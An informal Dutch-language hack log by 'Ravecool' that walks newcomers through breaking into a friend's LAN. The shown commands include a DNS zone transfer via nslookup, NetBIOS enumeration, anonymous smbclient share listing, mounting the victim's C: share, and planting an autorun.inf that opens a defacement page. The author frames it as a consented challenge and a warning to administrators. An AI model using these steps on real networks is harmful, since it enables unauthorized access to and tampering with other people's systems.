Hack log From Ravecool --- Project Daylight





Introductie...


Dit document heb ik geschreven omdat een aantal nieuwelingen in de hackers wereld wilde weten hoe een computer gehackt word daarom heb ik een verhaal uit mijn geheugen terug gehaald en het even in een document gezet. Maar mischien leuk om te weten er zijn een aantal dingen anders zo als mijn IP nummer en dat van mijn slachtoffer zelfs het domijn is anders want TCUH.com heb ik zelf lokaal voor mijn LAN netwerk gerecerveerd..








Het verhaal


Dit document is eigenlijk een hack log die na een hack is geschreven zonder orginele 


IP nummers etc maar dat staat hier boven al beschreven.Ik heb laatst bij een maatje van me ingehack op zijn netwerk tenminste. Ik heb ooit bij hem een DNS server geinstalleerd voor zijn zaak, hij heefd een winkel in computers maar linux is net zijn straatje niet dus mocht ik zijn computers een naam geven we kozen er voor dat ons domein TCUH.com zou gaan zijn heten klinkt leuk toch ?. Maar goed na een aantal dagen begon onse Mr x zich af te vragen of zijn netwerk wel hacker proof was want hij zou zijn netwerk server als proxy gebruiken om op het internet te gaan en dacht zo veilig te zijn. Of dat zo was kan je hier onder lezen.





Ik nam de uitdaging aan en begon net als met alle hacks ,met een systeem scan nou ja een systeem scan een netwerk scan eigenlijk ik wou weten hoe veel kans ik had om binnen te komen ik zocht dus naar een aantal computers die online waren in het netwerk ik besloot nslookup te gebruiken omdat alle subdomain namen in het netwerk opgeslagen waren op de dns server van de server self. Mijn scan begon op mijn eigen Windows XP box ...








----- geknipt van mijn Dos-Prompt ------------   





C:\>nslookup


DNS request timed out.


    timeout was 2 seconds.


*** Can't find server name for address 192.168.10.8: Timed out


*** Default servers are not available


Default Server:  UnKnown


Address: **************** (not visible for privacy) 


	





> ls -a tcuh.com


[UnKnown]


> ls -d tcuh.com


[UnKnown]


 tcuh.com.                      SOA    192.168.10.8 ravecool.tcuh.com. (2002062806 3600 15 1209600 43200)


 tcuh.com.                      MX     5    linux.tcuh.com


 tcuh.com.                      NS     linux.tcuh.com --------------------- Name Service Server ::::::: Server named Linux 


 tcuh.com.                      A      192.168.10.8


 daylight                       NS     linux.tcuh.com  --------------------- Name Service Server ::::::: Server named DayLight


 www                            NS     linux.tcuh.com --------------------- Name Service Server ::::::: Server named www


 tcuh.com.                      SOA    192.168.10.8 ravecool.tcuh.com. (2002062806 3600 15 1209600 43200)


>





----- Cut out of my Dos-Prompt ------------   








Ik zag dat ik zo 3computers tot mijn beschikking had voor een inbraak op het netwerk ik zag er eentje staan met een hele mooie naam voor een computer ik vond `Daylight' wel een leuke naam voor een computer want die andere 2 www en Linux lagen zo voor de hand en ik was beniewd wat er gewoon achter de naam daylight schuilde mischien wel tonnen met geheime informatie of zo. Maar goed ik dekte me helemaal in en deed de hack verder via mijn Linux box deze lach voor mij immers wat makkelijker in de hand want het is mijn favo OS.. Ik deed een ping naar daylight.tcuh.com en kreeg andwoord mooi de server ws nog online. Okey tijd om uit te zoeken met wat voor os we te maken hadden en aan gezien ik lokaal te maken had met Linux besloot ik daarom het eerste te checken op een mischien draaiende ftp service ofzo maar dat bleek niet het geval te zijn :-( damm ff verder kijken uuh poort 21 niet dus dan naar 23 voor telnet nee ook niet ik kreeg niet echt veel info over dit OS. Ik besloot te kijken wat voor Bestuurings systeem hij had via de HTTP headers maar ja dan moet je wel eerst een webserver hebben draaien en dat was in dit geval ook niet zo. Toen bedacht ik me op eens dat deze jongen een echt windos fan was en ging er van af nu van uit dat het een windows OS was okey vraagje aan ons allemaal hoe verbind je een Windows computer met een netwerkje ?, juist met een een MS FILE SHARED netwerk okey ik moest dit dus even onder Linux uit zoeken. Dat deed ik allemaal op de volgende manier ..


 





# nslookup daylight.tcuh.com


(gaf uitkomst IP van Daylight=192.168.10.2)


# nmblookup 192.168.10.2 -A





Looking up status of 192.168.10.2


	XP              <00> -         B <ACTIVE> 


	TCUH            <00> - <GROUP> B <ACTIVE> 


	XP              <20> -         B <ACTIVE> 


	TCUH            <1e> - <GROUP> B <ACTIVE> 


	TCUH            <1d> -         B <ACTIVE> 


	..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> 





Ooh bingo !!! wat zien we bier een NetBios computer naam yeah dit betekend omdat ik onder mijn Linux ook een Samba packet heb geistalleerd (een netwerk tool on te kunnen communiceren met windows netwerken) kan ik verbinding maken met het netwerk en mischien de shares bekijken en zijn computer mischien over nemem ik kan nu het systeem (Daylight) aan mijn linux koppelen maar ik moest wel een beetje mazzel hebben dat er geen passwords op de verbinding stonden en ik moest ook nog uit zien te vinden of er wel gedeelde documenten op zijn computer stonden ik dacht me daar wel iets op te weten, want ik heb voor de deze sitiuaties altijd nog de tool smbclient waar mee ik twee vliegen in 1 klap zou slaan zo wel van dat password als de shares want al heb je geen password nodig krijg je gelijk alle shares te zien. Okey if u have it use it !!!





smbclient -U guest -N -L 192.168.10.2


added interface ip=192.168.10.8 bcast=192.168.10.255 nmask=255.255.255.0


session request to 192.168.10.2 failed (Called name not present)


session request to 192 failed (Called name not present)


Domain=[TCUH] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]





	Sharename      Type      Comment


	---------      ----      -------


	IPC$           IPC       Externe IPC


	cdrom          Disk      


	Bureaublad     Disk      


	megapool       Disk      


	A              Disk      


	Documenten     Disk      


	E              Disk      


	HDD (C)        Disk      





	Server               Comment


	---------            -------


	LINUX SERVER         Share server %


	XP                   De windows xp computer





	Workgroup            Master


	---------            -------


	TCUH                 XP





Ja precies wat ik al dacht een windows computer met een Windows 2000 Lan Mannager ik wist het wel!!. Okey wat zien we hier een aantal sharename's uuh cdrom megapool en wat andere ik ging voor het mapje HDD (C) want dat leek wel een geschikt aankoppelpunt op het systeem want het lijkt verdacht veel op een Harddisk de main en Hoofd harddisk dus.


Ik ging mounten zo als ze dat in linux termen noemen ..





# cd /tmp


# mkdir XP


# mount -t smbfs //192.168.10.2/"HDD (C)" /tmp/XP








Alle bestanden van die HDD tenminste de namen en zo stonden in het mapje /tmp/XP op mijn pc. Ik was dus binnen weer een hack verledentijd melig was ik en bla bla bla ... Ik was me er van bewust dat ik geen backdoors kon activeren omdat het een none execute netwerk is dus ging voor de geduld optie ik moest en zou hem een berichtje sturen dat ik zijn systeem over genomen had. Ik maakte daarom een autorun.inf file aan op die C: schrijf die als de gebruiker via deze computer op de C: schijf zou dubbel clicken, een Index.html bestandje zou laden in  de internet explorer op die computer.. Brabbelde snel een HTML bestand in elkaar en UPloade het naar de C: schrijf samen met dat autorun.inf bestandje dat er namelijk zo uitzag  van binnen.








----- Autorun.inf ------


[autorun]


open="cmd /c index.html" 


----- Autorun.inf ------





Dat cmd is de vervanger van command.com op een XP computer dus heb ik het zo gedaan ik logte uit en wachte af op reactie die kreeg ik een dag later mijn maatje vond het geweldig hoe het allemaal gegaan was. Terwijl mijn boodschap in dat HTML bestandje zo simpel was (Ravecool ownes this system) . Ik krijg er geen geld voor of zo hoef ik ook niet opscheppen over mijn daaden doe ik liever niet maar wat ik wel weet is dat deze hobby echt geweldig is en voor een systeem beheerder een aangename uitbreiding op zijn kennis.. Ik wil jullie allemaal harteljk bedanken voor het lezen van dit document ik stel het zeer op prijs het is niet om op te scheppen dat ik dit u laat zien maar uit een mannier om te laten zien hoe iemand uw systeem kan aanvallen. Het was mij een genoegen als u contact met mij wilt zoeken kunt u mij hier vinden...








Quote4@hotmail.com (hoofd Email)


Ravecoolr@hotmail.com (secundaire Email) 


www.Ravecool.tk


Chat: 538 chat / TMF chat / MSN chat Kanaal Hackers / Neworder.box.sk Chat #Hackers








Tot ziens !!! en uhh blijf die mooie films als swortfish maken !!!!  YEAH !!!





